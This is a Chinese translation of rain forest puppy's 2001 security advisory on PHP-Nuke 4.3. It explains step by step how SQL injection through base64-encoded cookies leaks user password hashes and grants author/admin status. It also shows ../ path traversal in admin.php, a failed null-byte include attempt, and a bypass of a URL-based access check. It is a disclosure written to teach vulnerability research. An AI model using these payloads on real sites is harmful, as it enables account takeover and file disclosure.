PHP-Nuke web中心系统中的用户登录SQL hacking

/ns/hk/hacker/data/20010524052229.htm

翻译:stardust(幻觉)
来源:http://www.xfocus.org

之所以翻译这个文章,是因为它非常细致完整地描述了发现安全漏洞的过程,包括成功的和不成功的尝试,提供了一些有用的技术和思路。PHP-Nuke本身的这些已被发现的漏洞会很快被修补,但发现问题的思路不会有大的改变,所以关键在于学习他的思路。文中可能有一些理解或翻译上的错误,原文可以在找到:
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=2

-----/ RFP2101 /-------------------------------/ rfp.labs / wiretrip/----

RFPlutonium to fuel your PHP-Nuke
SQL hacking user logins in PHP-Nuke web portal

------------------------------------/ rain forest puppy / rfp@wiretrip.net

目录:

-/ 1 / 标准的建议信息
-/ 2 / 总览
-/ 3 / 细解
-/ 4 / 其他手段
-/ 5 / 解决方案

--------------------------------------------------------------------------
声明:没人强迫你读这个,不想看的话你可以不看
--------------------------------------------------------------------------

-/ 1 / 标准的建议信息 /------------------------------------

软件包: PHP-Nuke
厂商主页: www.phpnuke.org
测试过的版本: 4.3
平台: 独立于平台(PHP)
联系厂商时间: 12/29/2000
CVE 候选号: CAN-2001-0001
脆弱性类型: 访问验证弱点(普通用户和管理员)
RFPolicy v2: http://www.wiretrip.net/rfp/policy.html

以前存在问题: 绕过管理员认证, Aug 2000
BID: 1592 CVE:CVE-2000-0745 SAC: 00.35.032

当前版本:4.4 (可能还是有问题,未测试)



-/ 2 / 总览 /------------------------------------------

  PHP-Nuke 是一个用PHP实现的网站和新闻中心系统。我对它的外表和提供的功能印象深刻,决定在以后的两个项目中用到它。就象我决定使用的其他代码一样,我会对那些代码做一个快速的审核(开放源码万岁)。我对代码整体上是满意的,它的确消除了一些有关SQL的安全问题。
  我觉得把这个脆弱性的如何工作的整个过程揭示出来,从教育的眼光来看,比只写什么“PHP-Nuke是可脆弱的”有意义的多。如果你想了解更多关于SQL hacking,应该看看RFP2K01,在:
http://www.wiretrip.net/rfp/p/doc.asp?id=42

  这并不是个非常有用的入侵,它只是允许你冒充其他用户得到他们加密后的口令。它也给攻击者暴力破解用户或管理员的口令提供了可能性。

-/ 3 / 细解 /--------------------------------------

  首先,为了更好地辅助SQL hacking,打开SQL查询的记录选项是有帮助的。对MySQL来说只要在(safe_mysqld)启动的时候加上'-l logfile'参数就行了。

  其次,让我们看一下代码。因为是用PHP写的而且用MySQL,我们的目标函数当然是mysql_query()了。让我们把所有的mysql_query()都grep出来:

[rfp@cide nuke]# ls
admin/ config.php index.php print.php topics.php
admin.php counter.php language scroller.js ultramode.txt
article.php dhtmllib.js links.php search.php upgrades
auth.inc.php faq.php mainfile.php sections.php user.php
backend.php footer.php manual/ stats.php voteinclude.php
banners.php friend.php memberslist.php submit.php
cache/ header.php pollBooth.php themes/
comments.php images/ pollcomments.php top.php

[rfp@cide nuke]# grep mysql_query *
admin.php: $result = mysql_query("SELECT qid FROM queue");
.... 超过254条SQL queries就不贴在这了 ....

让我们来看看那些带有变量的语句,因为里面可能带有用户的输入。例如一些select语句:

article.php: mysql_query("update users set umode='$mode',
uorder='$order', thold='$thold' where uid='$cookie[0]'");

banners.php: mysql_query("delete from banner where bid=$bid");

comments.php: $something = mysql_query("$q");

user.php: $result = mysql_query("select email, pass from users where
(uname='$uname')");

index.php: mysql_query("insert into referer values (NULL, '$referer')");


  来自 article.php 的查询带有四个变量: $mode, $order, $thold,和 $cookie[0]。 comments.php 很有趣,看起来整个查询放在$q变量中,这意味着我们必须到文件中去看那个变量的值是什么,在文件中,我们可以看到:

$q = "select tid, pid, sid, date, name, email, url, host_name,
subject, comment, score, reason from comments where sid=$sid
and pid=$pid";
if($thold != "") {
$q .= " and score>=$thold";
} else {
$q .= " and score>=0";
}
if ($order==1) $q .= " order by date desc";
if ($order==2) $q .= " order by score desc";


  所以我们可以看到$q里用到了变量$sid和$pid,可能还有$thold,如果它被定义了的话。

  现在我们该怎么办?让我们来看看那些变量里到底有些什么。我们从article.php中的那个查询开始。去掉注释后,实际的代码是这样的:

<?PHP

if(!isset($mainfile)) { include("mainfile.php"); }
if(!isset($sid) && !isset($tid)) { exit(); }

if($save) {
cookiedecode($user);
mysql_query("update users set umode='$mode', uorder='$order',
thold='$thold' where uid='$cookie[0]'");
getusrinfo($user);
$info = base64_encode("$userinfo[uid]:$userinfo[uname]:".
"$userinfo[pass]:$userinfo[storynum]:$userinfo[umode]:".
"$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]");
setcookie("user","$info",time()+$cookieusrtime);
}

(注意:为了在这个安全公告中显示,代码格式做了些调整)

  我们看到对变量$mode, $order, $thold, 和$cookie[0]并没有明显的处理。然而,mainfile.php被包含进来而且在函数cookiedecode()中可能会有些处理,所以我们也应该看看它们。

我们先得看看mainfile.php里是不是已经定义了变量 $mode, $order,$thold, or $cookie:

[rfp@cide nuke]# grep \$mode mainfile.php
[rfp@cide nuke]# grep \$order mainfile.php
[rfp@cide nuke]# grep \$thold mainfile.php
[rfp@cide nuke]#

  嗯, 可以看出mainfile.php 没有对那些变量做任何处理。然而有一个多余的变量$cookie被返回了(在这看不到)。这是因为在mainfile.php中有函数cookiedecode() (和其他相似的函数)。cookiedecode() 的代码是这样的:

function cookiedecode($user) {
global $cookie;
$user = base64_decode($user);
$cookie = explode(":", $user);
return $cookie;
}

cookiedecode()调用取到变量$user的值,用base64方式解码,以’:’为定界符分成几个部分,放入$cookie[]数组。这是有意义的,因为上面的SQL查询用到了$cookie[0],数组的第一个元素。

怪?那个$user 变量是从哪来的呢? grep 一下mainfile.php 可以知道$user 变量只在这个函数中被用到。

好啊。这意味着作者对变量$user(他被解码并拆分成$cookie[0]数组), $mode, $order, $thold什么都没干。对那些不熟悉PHP的人说一声,PHP会为从URL得到的参数各自己分配一个全局变量。例如,下面的查询:

/somefile.php?varb1=rain&value2=forest&para;m3=puppy

  会在脚本中定义出三个全局变量$varb1, $value2, 和$param3,它们的值分别为'rain', 'forest', and 'puppy'。这意味着如果我们以如下的URL向article.php提交,我们可以为变量$mode, $order,和$thold赋上任意的值:

/article.php?mode=rain&order=forest&thold=puppy

在我们做这些之前,别忘了以下的程序片断:

if($save) {
...

这意味着变量$save必须被设置。grep一下mainfile.php看不到变量$save,所以我们应该在URL中设置它的值:

/article.php?mode=rain&order=forest&thold=puppy&save=1

让我们试试吧。对这个页面发出请求,没有东西返回,因为我忘掉了下面的这行:

if(!isset($sid) && !isset($tid)) { exit(); }

我们需要把$sid 和$tid变量加到URL行,现在是这样了:

/article.php?mode=rain&order=forest&thold=puppy&save=1&sid=0&tid=0

这次返回了一个错误页面。看看我们的mysql日志记录,有一个条目:

1 Query update users set umode='rain', uorder='forest',
thold='puppy' where uid=''

  这证明确实起作用了。现在我们把数据提交给SQL查询,看看我们是不是能“干预”那个查询。我们试图重写那个查询以加入其他的SQL代码。这样做需要一些欺骗的技巧:加入一些额外的单引号。我们所做的是把$thold改成这样的:

puppy', thold='puppy

这样的结果是查询语句会变成这样:

update users set umode='rain', uorder='forest',
thold='puppy', thold='puppy' where uid=''
^^^^^^^^^^^^^^^^^^^^
我们提交的数据

  当然,这不是个有用的SQL语句,但我们只是想证明一下我们的利用方法。让我们来把这些放到URL里提交上去:

/article.php?mode=rain&order=forest&thold=puppy',%20thold='puppy& save=1&sid=0&tid=0

(注意:URL 是不换行的)

mysql日志中的记录:

5 Query update users set umode='rain', uorder='forest',
thold='puppy\', thold=\'puppy' where uid=''

  糟糕!看起来当PHP处理从URL提交的参数的时候,自动地逸出了’(它变成了\’)。当然,我用的是 PHP 4,可能PHP 3.x并不是这样。从漏洞利用的角度看,这太讨厌了。从安全的角度看,这样很好。我可能忽略了一些东西,有谁认为我错了,给我来个email。

  无论如何,我们没失去什么。从这个角度看,我们知道有时候把全局变量扔进SQL语句可能是安全的(这可能依赖PHP的版本)。让我们回过头来看看cookiedecode()这个函数,它得到全局变量$user的值,用base64方式解码,拆分它到一个$cookie[]数组。需要注意的是$user变量可能是一个HTTPcookie,或者它可以是一个URL参数―PHP并不区分它们(至少在这片代码里不是)。

  因为实际的值是用base64编码的,PHP不对编码过后的值做任何逸出操作。意味着无论我们在$user变量放入什么都是安全的,看看:

  首先,我们需要得到正确的值。因为cookiedecode()会把值以':'字符进行拆分并使用第一个值,我们至少需要'something:'作为我们的值。那个'something'是我们的文本。现在来说,我们把它设成'www.cipherwar.com:'。现在,我们需要用base64方式编码它。用下面的命令行:

[rfp@cide nuke]# echo -n "www.cipherwar.com:" | uuencode -m f
begin-base64 644 f
d3d3LmNpcGhlcndhci5jb206
====

意味着我们得到下面的东西加到URL:

&user=d3d3LmNpcGhlcndhci5jb206

当我提交以上带上了额外user参数的URL时,我的mysql日志显示:

7 Query update users set umode='rain', uorder='forest',
thold='puppy' where uid='www.cipherwar.com'

行了!现在我们看看能不能逃过SQL语句?

[root@cide nuke]# echo -n "www.cipherwar.com' or uid='1" |
uuencode -m f
begin-base64 644 f
d3d3LmNpcGhlcndhci5jb20nIG9yIHVpZD0nMQ==
====

把这些加入URL并且提交,我的mysql日志显示:

3 Query update users set umode='rain', uorder='forest',
thold='puppy' where uid='www.cipherwar.com'
or uid='1'

  可以了!就象我们看到的那样,我们的值没有被处理过,允许我们干预查询的进行。然而,因为一些mysql本身的限制,我们的利用受到了一些轻微的限制。你们可能熟悉SQL hacking和我以前公布的一些技巧,MySQL不允许多个SQL命令被提交进同一个查询语句中。这意味着象以下这样的东西:

mysql_query("select * from table1; select * from table2");

  这将不会执行两个'selects'―它只执行第一个,丢弃第二个。然而(不要绝望),我看到了MySQL TODO列表里有以下的条目:

修改 `libmysql.c' 以允许一行中有两个mysql_query() 命令而不是只报出一个错误。

在TODO 列表中也有:

  子查询。select id from t where grp in (select grp from g where u > 100)

  这两个改进将会大大提高MySQL在SQL hacking方面的可行性。&#61514; 现在这个时候,它还不能帮助我们(除非站点重写了PHP-Nuke来使用一个不同的数据库,比如Postgres。但这不太可能)。这意味着我们只能干预已有的查询(比如我们不能增加一个单独的查询)。因为PHP会对URL的参数做逸出处理,我们也会有限制,除非查询中含有一个通过特殊形式提交的变量(比如通过cookiedecode())。嗯,我们有很多限制。

让我们来看看我们所运行的查询:

mysql_query("update users set umode='$mode', uorder='$order',
thold='$thold' where uid='$cookie[0]'");

  通过指定一个任意的uid值,我们能搞到任何用户的umode,uorder和thold值。虽然有些另人恼火,但这实在称不上一个严重的问题,因为umode,uorder和thold只是一个用户的显示属性设置。我们来看看整个代码片断:

if($save) {
cookiedecode($user);
mysql_query("update users set umode='$mode', uorder='$order',
thold='$thold' where uid='$cookie[0]'");
getusrinfo($user);
$info = base64_encode("$userinfo[uid]:$userinfo[uname]:".
"$userinfo[pass]:$userinfo[storynum]:$userinfo[umode]:".
"$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]");
setcookie("user","$info",time()+$cookieusrtime);
}

在调用cookiedecode()并且完成第一个查询之后,就会有getusrinfo()调用,在这之后一串用户信息用base64方式以cookie的方式发送给我们。注意!包含有$userinfo[pass]的。这意味着,如果我们足够小心的话,我们可能可以得到一个包含有用户口令的cookie,我们所要做的只要通过getusrinfo():

function getusrinfo($user) {
global $userinfo;
$user2 = base64_decode($user);
$user3 = explode(":", $user2);
$result = mysql_query("select uid, name, uname, email,
femail, url, pass, storynum, umode, uorder,
thold, noscore, bio, ublockon, ublock, theme,
commentmax from users where uname='$user3[1]'
and pass='$user3[2]'");
if(mysql_num_rows($result)==1) {
$userinfo = mysql_fetch_array($result);
} else {
echo "<b>A problem occured</b><br>";
}
return $userinfo;
}

  让我们来看看。再一次,它取到$user的值,用base64方式解码(就与cookiedecode()一样),然后用cookie的第二,三部分($user3[1] 和 $user3[2])去执行一个查询。然而,要让他正常地工作,我们需要知道目标用户正确的用户名和口令,不然SQL查询会返回0行,会显示“有错误发生”。如果我们知道了一个用户的用户名和口令,我们也没必要研究现在这些东西了,不是吗?

  我们是不是能干预查询呢?我们查询的是所有符合条件"uname='name' and pass='password'"的用户记录。如果我们放宽搜索的标准的话,我们应该可以得到更多。想像这样一个查询:

... where uname='name' and pass='password' or uname='name'

从逻辑上看,这个查询应该是这样分组的:

... where (uname='name' and pass='password') or (uname='name')

  现在,如果我们知道一个用户的用户名(我们应该可以的),但不知道他的口令,第一个子句就会失败;然而,第二个子句肯定满足条件。

让我们来测试下这个假设。现在我们必须构造出$user变量,里面有类似下面这样的字串:

uid:username:blah' or uname='username

在我的机器上我想针对用户'test1'。因此我试试下面这样的串:

1:test1:blah' or uname='test1

对它编一下码:

[root@cide nuke]# echo -n "1:test1:blah' or uname='test1" |
uuencode -m f
begin-base64 644 f
MTp0ZXN0MTpibGFoJyBvciB1bmFtZT0ndGVzdDE=
====

把它加到我们上面的查询中去,试一试。你瞧,我发送了这样一个cookie:

Set-Cookie: user=MTp0ZXN0MTpsZmtTdjlOUTFla2xnOjEwOnJhaW46MDowOjA%3D;
expires=Friday, 29-Dec-00 20:14:00 GMT

user的值是base64方式编码的。我们有自己的base64解码方法,但为了与我们刚才所写的东西(例如使用命令行)兼容,最好的方法是创建一个文件(就叫它’encode’吧),文件中是以下的内容:

begin-base64 666 user
MTp0ZXN0MTpsZmtTdjlOUTFla2xnOjEwOnJhaW46MDowOjA=
===

注意:用'='代替所有的%3D,不要包括最后的';'

现在,运行下面的命令:

[root@cide nuke]# uudecode encode; cat user
uudecode: encode: illegal line
1:test1:lfkSv9NQ1eklg:10:rain:0:0:0

就这些,包括了目标用户的uid,username,password。在你认为我使用了很强壮的口令之前,你应该知道PHP-Nuke用的是加密后的口令。这意味着你必须用暴力猜解来得到真正的口令。

但这些东西重要吗?我们再来看看user.php。user.php是用来管理用户信息的脚本,包括登录,注册新用户,用户信息修改等。那用户信息是如何改变的?让我们来看看:

function edituser() {
global $user, $userinfo;
include("header.php");
getusrinfo($user);
nav();
?>
<table cellpadding=8 border=0><tr><td>
<form action="user.php" method="post">
<b><?php echo translate("Real Name"); ?></b> <?php echo
translate("(optional)"); ?><br>
<input class=textbox type="text" name="name" value="<?PHP
echo"$userinfo [name]"; ?>" size=30 maxlength=60><br>
...

它包含了header.php文件(用来插入用户指定的HTML头标记)。它再调用getusrinfo()。好了,让我们看看如何利用getusrinfo()来把$userinfo变量设成任何值。edituser() 调用完getuserinfo()之后,调用nav(),接着打印出所有的用户信息。所以,看起来只要我们有有效的用户cookie,我们就可以成功地变为那个用户―我们不甚至需要去crack口令。

但是,edituser()是在我们想要看信息的时候调用的。如果我们想修改一个用户的信息,我们必须通过saveuser()函数,它是这样的:

function saveuser($uid, $name, $uname, $email, $femail, $url, $pass,
$vpass, $bio) {
global $user, $cookie, $userinfo, $EditedMessage,
$system, $minpass;
cookiedecode($user);
// Vulnerability fix thanks to DrBrain
$user_check=$cookie[1];
$result=mysql_query("select uid from users where
uname='$user_check'");
$vuid=mysql_result($result,0,"uid");
if ($user AND ($cookie[1] == $uname) AND ($uid == $vuid)) {
...

当然,有趣的是这里已经’修正’了一个安全漏洞。让我们来看看这些代码是干什么的:

cookiedecode()把$user变量的值解码到$cookie数组中。我们提交了那些$uid, $user, $uname变量。所以伪代码是下面这个样子的:

-把$user变量解码到$cookie数组

-查找在$cookie数组中用户名对应的uid(从我们提供的$user变量中得到)

- 如果$cookie(我们提供的)中的用户名与$uname(我们提供的)相符并且$uid与$cookie (我们提供的)数组存放的uid一致。

  看起来问题的关键在于要使我们提供的cookie与我们作为参数给出的username相符,并且我们必须知道对应于用户名的userid(uid)。如果我们回到前面的edituser()函数,你会发现username对应的uid在查询后以一个隐含字段被返回的(我没有在这把那些代码包括进来)。所以我们能通过edituser()的查询来得到uid,然后用适当的cookie,uname,uid值来调用saveuser()。

  这有什么好处呢?当然,我们能接管这个用户账号。但更有意思的事应该是得到管理员的访问权限,对PHP-Nuke来说,就是相当于'authors'。

  那我们如何知道有关author账号的的信息呢?看下nuke.sql文件就行了,它是用来初始化PHP-Nuke数据库的脚本,我们可以看到author和用户信息是存放在各自不同的表中―这意味着我们必须找到一个特定的查找author表的查询。让我们来看看:

[root@cide nuke]# grep mysql_query *|grep author

admin.php: $result = mysql_query("select radminarticle,
radmintopic,radminleft,radminright,radminuser,radminmain,
radminsurvey,radminsection,radminlink,radminephem,radminfilem,
radminhead,radminsuper from authors where aid='$aid'");

auth.inc.php: $result=mysql_query("select pwd from authors where
aid='$aid'");

auth.inc.php: $result=mysql_query("select pwd from authors where
aid='$aid'");

mainfile.php: $holder = mysql_query("SELECT url, email FROM authors
where aid='$aid'");

mainfile.php: mysql_query("insert into stories values (NULL,
'$aid', '$title', now(), '$hometext', '$bodytext', '0', '0', '$topic',
'$author', '$notes')");

search.php: $thing = mysql_query("select aid from authors order by
aid");

stats.php:$result = mysql_query("select * from authors");

top.php:$result = mysql_query("select aid, counter from authors order
by counter DESC limit 0,$top");

  嗯,只有8个命中。在mainfile.php中的第二个查询并不是一个对author表的查询,stats.php的查询中没有有包含任何变量,所以它们可以被忽略掉。Top.php的查询受限严重―如果MySQL允许添加额外的查询的话(就象前面讨论的那样),利用它是可能的,但按现在的情况是不行的,所以我们也没必要把时间浪费在那了。Mainfile.php里的查询并不从author表中获取任何令人感兴趣的信息,所以我们也没必要搞它了。所以我们只剩下admin.php 和 auth.inc.php。

Admin.php是管理员登录和行使管理功能的页面。Admin.php干的第一件事就是调用auth.inc.php,意味着需要欺骗auth.inc.php来做一些我们想做的事。有两个地方用到了auth.inc.php,初始登录和标准口令检查:

初始登录:

if ((isset($aid)) && (isset($pwd)) && ($op == "login")) {
if($aid!="" AND $pwd!="") {
$result=mysql_query("select pwd from authors where aid='$aid'");
list($pass)=mysql_fetch_row($result);
if($pass == $pwd) {
$admin = base64_encode("$aid:$pwd");
setcookie("admin","$admin",time()+2592000);
}
}
}


标准口令检查:

if(isset($admin)) {
$admin = base64_decode($admin);
$admin = explode(":", $admin);
$aid = "$admin[0]";
$pwd = "$admin[1]";
if ($aid=="" || $pwd=="") {
$admintest=0;
echo .... bunch of HTML ....;
exit;
}
$result=mysql_query("select pwd from authors where aid='$aid'");
if(!$result) {
echo "Selection from database failed!";
exit;
} else {
list($pass)=mysql_fetch_row($result);
if($pass == $pwd && $pass != "") {
$admintest = 1;
}
}
}

  在aritcle.php初始登录中,如果我们能使它相信我们就是那个用户的话,它会返回给我们一个含有用户名和口令的cookie。然而,为了获得author状态,我们需要欺骗标准口令检查程序段把$admintest变量值设成1。

  看看初始登录,我们需要对付出$aid参数,但是,就象我们先前讨论的那样,PHP不允许我们采用加入”’”的方法,所以这是不可行的。

其他程序片段是从$admin cookie中得到变量值的,我们可以干预它(前面已经看到了)。所以我们实际是要对付下面的查询:

$result=mysql_query("select pwd from authors where aid='$aid'");

我们必须满足下面的要求:

if($pass == $pwd && $pass != "") {

  嗯,这有点麻烦。我们必须操纵那个查询使之返回一个已知的值,而这个值不能为空。对那个查询来说,它只返回’pwd’列。呵,如果我们知道那些东西的话,我们也没必要来搞它了。所以我只能坐下来想该怎么办。突然我想到了,我们需要知道查询所返回的值。那个值必须是一个已存在用户的口令。所以,想像一下这样一个查询:

select pwd from authors where aid='arbitrary' or pwd='password'

  这会执行一个查询选择出那些aid的值为'arbitrary',或者口令的值为'password'的记录。呵,这有什么好处呢?

  这样做的好处是它将匹配只要以'password'作为口令的任何用户。我们可以通过给$aid变量提供这样一个值来操纵查询:

' or pwd='common_password

  所以如果只要有一个$pwd的值等于common_password,$pwd的值就会被设成common_password。如果我们把pass设成common_password的话,那么$pass==$pwd,我们就会被确认为author。实际上我们是以我们所提供的口令被确认为author的。PHP-Nuke的确允许为每个用户设置不不同的权限,我们可能没有权力干任何事,但是,我们得到了author这个状态。这是我们这个练习所要达到的目的。

  在你感到失望之前,你应该看看那些对author可用的选取项。惊奇的是竟然无需权限就可以干诸如运行’env’(基本上给了你php_info()),’show’(以web服务器的id看任意的文件),’chdr’(可以允许你对目录进行列表),’edit’(以web服务器的id写内容到文件中),等。

  对于SQL hacking,对PHP-Nuke就这些了。希望你喜欢这个比较长的例子!



-/ 4 / New Year BONUS: 其他手段 /------------------------------------

  对于从教育目的来说,在审查PHP代码的过程中,我认为有必要指出PHP-Nuke包含了一些其他很有趣的东西。

  当我坐下来审查一些代码的时候,第一件我要做的事就是查看那些与系统交互的调用―特别是那些文件系统交互和命令的执行。在PHP中,那些目标调用包括:

exec() - run external commands
passthru() - run external commands
system() - run external commands

fopen() - open a file (or URL)
readfile() - output a file (or URL)
include() - include a file (or URL)
include_once() - (same as include)

  前面三个是用来执行程序的。其他四个是用来读取文件的。因为require()/require_once()是在执行的时候被展开的,意味着我们没有机会在它们执行的时候干预它,所以对它们将不做审查。

  那我是怎么评价那些调用的使用情况的呢?最简单的办法是grep:

[root@cide nuke]# grep exec *
stats.php:$time = (exec("date"));
stats.php:$uptime_info = "Uptime:" . trim(exec("uptime")) . "\n\n";
stats.php:exec ("df", $x);

  嗯,有三个命中的。然而,它们中没有一个包含变量的(’df’中用到的$x变量是输出的时候用的),所以我们不能干预它们。继续,passthru()没有命中的。System()显示了一些命中,但它们大多只是文本和变量名―并没有实际的system()调用。

  让我们继续看那些文件调用。PHP独特的地方是你可以提供一个URL对文件调用,PHP会远程抓到它并使用它。所以这为我们使用远程系统的代码带来额外的好处―一个很有趣的特点!

让我们来看看

[root@cide nuke]# grep fopen *
admin.php: $fp=fopen($basedir.$file,"w");
admin.php: $fp=fopen($basedir.$file,"r");
admin.php: $fp=fopen($basedir.$filelocation,"w");
mainfile.php: $file = fopen("$ultra", "w");
mainfile.php: $fpread = fopen($headlinesurl, 'r');
mainfile.php: $fpwrite = fopen($cache_file, 'w');

  嗯,admin.php很有希望,只是得看看$basedir和$file/$filelocation在哪有定义。Mainfile.php和$headlines/$cache_file也是一样。看看admin.php,$basedir是这样定义的:

$basedir = dirname($SCRIPT_FILENAME);

这基本上是脚本所在的目录。再看看,你可以知道$file在哪都没定义,这意味着我们能在URL里指定它!看看admin.php中’show’和’edit’的操作,我们的预感是正确的―‘show’会打开由$basedir.$file指定的文件,edit也一样。我们无法控制$basedir,但我们可以控制$file变量。所以我们可以使用’..’。这意味着在admin.php中以'../../../../etc/hosts'为参数进行’edit’操作,允许我们看到系统中的hosts文件。其他的fopen调用也能以相同的办法被滥用。

让我们继续mainfile.php. 看看 $headlinesurl:

$result = mysql_query("select sitename, url, headlinesurl from
headlines where status=1");
while (list($sitename, $url, $headlinesurl) =
mysql_fetch_row($result)) {

这是一个对headlines表的静态查询。除非我们能在headlines数据库中插入值,我们做不了什么。$cache_file是这样定义的:

$cache_file = "cache/$sitename.cache";

using the $sitename from the same query as $headlinesurl.

继续看include_once()和readfile(),没有命中的。但是include()被用到了很多次,事实上有355次。它用来把其他文件包含进来,特别是那些某个页面风格的头文件和注脚文件等等。我们只想关注那些有变量的include()语句:

footer.php: include("themes/$cookie[9]/footer.php");
footer.php: include("themes/$Default_Theme/footer.php");
header.php: include("themes/$cookie[9]/theme.php");
header.php: include("themes/$cookie[9]/header.php");
header.php: include("themes/$Default_Theme/theme.php");
header.php: include("themes/$Default_Theme/header.php");
mainfile.php: include("language/lang-$language.php");
mainfile.php: include($cache_file);

  header.php 和footer.php用include()把用户偏好的主题文件包括进来(如果没有指定的话使用$Default_Theme)。$language 和 $cache_file也是在mainfile.php中定义的,所以mainfile.php行不通。让我们看下header.php。相关的代码:

if (!isset($index)) {
include("config.php");
global $artpage, $topic;
} else {
global $site_font, $sitename, $artpage, $topic, $banners,
$Default_Theme, $uimages;
}

....

if(isset($user)) {
$user2 = base64_decode($user);
$cookie = explode(":", $user2);
if($cookie[9]=="") $cookie[9]=$Default_Theme;
if(isset($theme)) $cookie[9]=$theme;
include("themes/$cookie[9]/theme.php");
include("themes/$cookie[9]/header.php");
} else {
include("themes/$Default_Theme/theme.php");
include("themes/$Default_Theme/header.php");
}


我们看到如果$user变量被设置或者$Default_Theme没被设置的话,include会用到$cookie[9]。$Default_Theme在config.php中有定义,如果$index变量没有定义的话,它会被包含进来。

  你搞清楚了吗?可能你应该再读一次。$Default_Theme在config.php中有定义,如果$index变量没有定义的话,它会被包含进来。呵,所以如果我们设置了$index变量(在URL中加进index=1),config.php就不会被包含进来,这样我们就可以在URL里指定任意的$Default_Theme了,让我们来试试:

我来提交这样的URL:

/header.php?index=1&Default_Theme=rain.forest.puppy

出现了这样的错误:

Warning: Failed opening 'themes/rain.forest.puppy/theme.php' for
inclusion (include_path='') in /home/httpd/html/nuke/header.php on
line 97

Warning: Failed opening 'themes/rain.forest.puppy/header.php' for
inclusion (include_path='') in /home/httpd/html/nuke/header.php on
line 98

  呵,行得通。这样,我们是否能够通过提交特定的Default_Theme值来包含进任意的文件呢?不幸的是后面会加上'themes/',所以我们不能用到PHP远程URL文件抓取特点。

  我们能用'..'到父目录。然而,问题是无论我们提交什么,后面都会被加上'/theme.php'。我们看不到'../../../../etc/hosts',因为最后的include()是以这样的参数被调用的:

themes/../../../../etc/hosts/theme.php

所以我们需要对付后面多出来的'/theme.php'。对于那些读过我的Phrack 55期文章的人可能会记起我说起过的“有毒的NULL字节”。没读过的人可以在下面的地方找到一个拷贝:

http://www.wiretrip.net/rfp/p/doc.asp?id=6

通过在输入中混入一个NULL字节,使应用程序来忽略NULL字节后面的东西,理论是这样的:

-我提交:

../../../../etc/hosts<NULL>

(<NULL>是 NULL 字节,不是6个字节的字符串<NULL>)

- 应用程序把所有的东西放在了一块是这样的:

themes/../../../../etc/hosts<NULL>/theme.php

- 应用程序把这个交给系统处理

- 系统只读取到NULL字节就停在了那,以下的东西被忽略。因为系统调用认为字节串是以NULL字节结尾的。

- 因为系统只处理到NULL字节,所以它会打开文件:

themes/../../../../etc/hosts

  所以我试了一下。不能成功。事实上,我试了所有的255个值(所有可能的字符)。PHP很聪明,没有陷入这个圈套。除非有人知道如何象欺骗其他脚本语言那样欺骗PHP,不然这种办法没用的。

还有最后一件事需要指出。在admin.php脚本中包进来了很多/admin/目录下的支持脚本,每个脚本中有这样一个‘安全检查’:

if (!eregi("admin.php", $PHP_SELF)) { die ("Access Denied"); }

这基本上是扫描URL看看里面是不是有admin.php(如果我们调用admin.php,那么是由admin.php把文件包括进来,而不是我们直接调用它)。然而,eregi执行的正则匹配并没有用―它所关心的只是admin.php是不是在URL的那个地方有而已。想像下面的请求:

/admin/authors.php/admin.php

它其实调用/admin/authors.php(里面有上面提到的那个安全检查)。后面加的那个'/admin.php'是多余的而且用不到。但eregi()执行的正则匹配会看到多余的'/admin.php',因此它会认为一切OK。检查就这样被绕过了。然而,在我看来/admin/目录下的文件并没有可以利用的地方,SQL查询也无法进行,因为SQL的连接信息是在config.php中定义的,而它是由admin.php包含进来的(不是任何/admin/目录下单个的文件)。但是,还是有必要指出这种检查并不是有效的。



-/ 5 / 解决方案/------------------------------------------------------

好了,就象我在文档的开头指出的那样,我在2000年12月29日通知了程序的作者。不幸的是作者误解了我的意图。作者对于安全的观点,能在下面的地方看到:

http://www.phpnuke.org/article.php?sid=1022&mode=thread&order=0&thold=0
http://www.securityfocus.com/archive/1/162261

当然,他的观点是对的:人们指出了缺陷,而没有对修补它们提供帮助。我给了他修补漏洞的帮助,但他实在不耐烦与我交流。

  因为我还想用PHP-Nuke,所以我花了30多个小时的业余时间来修补代码。然而,就在同时,PHP-Nuke 4.4马上就要推出了。我实在不想在4.4推出的同时却去做一个4.3的补丁。因此推迟了这个建议的发布以给作者修补我所发现的漏洞的机会。

  那么最后的解决方案呢?PHP-Nuke 4.4在2001年2月8日发布了,作者知道存在问题已经超过40天了。在4.4版中可能有修补也可能没有。如果做了修补,这是PHP-Nuke的光荣,如果没有,你们自己判断。



-/ 感谢/----------------------------------------------------------------

特别感谢 Zope Kitten

-----/ RFP2101 /-----------/ rfp.labs / wiretrip / rfp@wiretrip.net /----